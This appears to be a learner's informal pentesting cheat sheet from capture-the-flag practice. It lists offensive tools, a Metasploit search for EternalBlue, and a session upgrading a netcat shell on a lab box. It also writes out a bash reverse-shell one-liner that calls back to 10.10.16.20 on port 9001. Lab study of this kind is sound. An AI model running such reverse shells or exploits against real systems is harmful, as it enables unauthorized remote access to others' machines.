

tools

grep "word" ./file.extension

/hping 3

wireshark

nmap

dragon os (debian based radio hacking tuned os)

shodan

metasploit

msfconsole

search type:exploit platfrom:windows eternal blue

msfvenom

snort

aircrackng

ghidra

hackrf1 (a pyhysical tool, costs alot, but whats imortant is Deagonos is a distro focused on radio hacking)

tac = cat but backwards, like it prints the rows backwards

feroxbuster -u url.extension (basically gobuster but diff)

cybercheff -> <https://gchq.github.io/CyberChef/>

how to add terminal functionality to nc rev shell

```
www-data@2million:~/html$  
^Z  
zsh: suspended nc -lvnp 9001  
  
└─(kali kali)-[~]  
└─$  
stty raw -echo;fg  
  
[1] + continued nc -lvnp 9001  
  
www-data@2million:~/html$ whoami  
www-data  
www-data@2million:~/html$ ls  
.env      VPN/      css/      index.php  
Database.php assets/   fonts/    js/  
Router.php controllers/ images/   views/  
www-data@2million:~/html$  
  
export TERM=xterm
```

non nc rev shell command

```
bash -c 'bash -i >& /dev/tcp/10.10.16.20/9001 0>&1'
```

<https://overthewire.org/wargames/>

<https://ctftime.org/>

<https://github.com/The-Z-Labs/linux-exploit-suggester>

<https://www.tutorialspoint.com/What-is-the-difference-between-session-and-cookies#:~:text=Cookies%20are%20client%2Dside%20files,files%20that%20store%20user%20information.&text=Cookies%20expire%20after%20the%20user,logs%20out%20of%20the%20program.>

